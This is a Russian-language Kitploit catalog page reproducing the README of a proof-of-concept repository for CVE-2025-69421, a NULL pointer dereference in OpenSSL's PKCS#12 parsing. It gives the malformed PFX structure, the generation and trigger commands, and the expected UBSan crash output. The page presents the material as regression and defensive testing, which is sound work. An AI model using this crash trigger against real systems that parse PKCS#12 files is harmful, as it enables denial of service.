Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PoC-CVE-2025-69421 — Минимальный воспроизводитель CVE-2025-69421, демонстрирующий разыменование NULL-указателя в обработке OpenSSL PKCS#12 через повреждённый PFX-файл с отсутствующим полем encryptedContent. Включает скрипт генерации, анализ ASN.1 и вывод аварийного завершения, вызванного UBSan, для регрессионного тестирования защиты. | Kitploit
Инструменты/GitHubGitHub/kha-beleh/poc-cve-2025-69421
Анализ уязвимостейЭксплуатацияФаззингКриптографияАнализ Бинарных ФайловОбучение и Образование
GitHubkha-beleh/poc-cve-2025-69421

PoC-CVE-2025-69421

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Минимальный воспроизводитель CVE-2025-69421, демонстрирующий разыменование NULL-указателя в обработке OpenSSL PKCS#12 через повреждённый PFX-файл с отсутствующим полем encryptedContent. Включает скрипт генерации, анализ ASN.1 и вывод аварийного завершения, вызванного UBSan, для регрессионного тестирования защиты.

Поделиться

Воспроизводитель аварийного завершения CVE-2025-69421

Этот репозиторий содержит минимально повреждённый файл PKCS#12, воспроизводящий CVE-2025-69421 в изолированной лабораторной среде.

Сгенерированный PFX содержит EncryptedData, в котором EncryptedContentInfo опускает необязательное поле encryptedContent. Уязвимые версии OpenSSL могут передавать NULL-указатель ASN1_OCTET_STRING из PKCS12_unpack_p7encdata() в PKCS12_item_decrypt_d2i_ex(), который разыменовывает его без проверки на NULL.

Данный воспроизводитель демонстрирует только состояние отказа в обслуживании. Он не выполняет код и не раскрывает информацию.

Содержимое репозитория

root@kitploit:~
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

Требования

  • Python 3
  • Уязвимая сборка OpenSSL, скомпилированная с UBSan или ASan/UBSan
  • Для подтверждённого воспроизведения использовался OpenSSL 3.0.7

Установите каталог сборки перед запуском PoC:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

OPENSSL_BUILD должен содержать уязвимую библиотеку libcrypto.so.3 и соответствующий бинарный файл apps/openssl.

Генерация повреждённого файла PKCS#12

Предварительно сгенерированный файл прилагается. Чтобы воссоздать его:

root@kitploit:~
python3 generate.py

Результат:

root@kitploit:~
malformed-cve-2025-69421.p12

Просмотр структуры ASN.1

root@kitploit:~
openssl asn1parse \
  -inform DER \
  -in malformed-cve-2025-69421.p12 \
  -i

Соответствующая структура:

root@kitploit:~
PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

Запуск воспроизводителя

С помощью вспомогательного скрипта:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh

Эквивалентная ручная команда:

root@kitploit:~
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

Ожидаемый результат на уязвимой сборке

root@kitploit:~
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)

Важные индикаторы:

root@kitploit:~
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata

Ожидаемый результат на исправленной сборке

Исправленная сборка OpenSSL должна отвергнуть повреждённый ввод без обнаружения санитайзером или аварийного завершения процесса. Ошибка может включать:

root@kitploit:~
PKCS12_item_decrypt_d2i_ex:passed a null parameter

Техническая сводка

root@kitploit:~
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service

Отказ от ответственности

Используйте данный воспроизводитель только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Прилагаемый артефакт предназначен для защитной проверки и регрессионного тестирования.

Скачать инструмент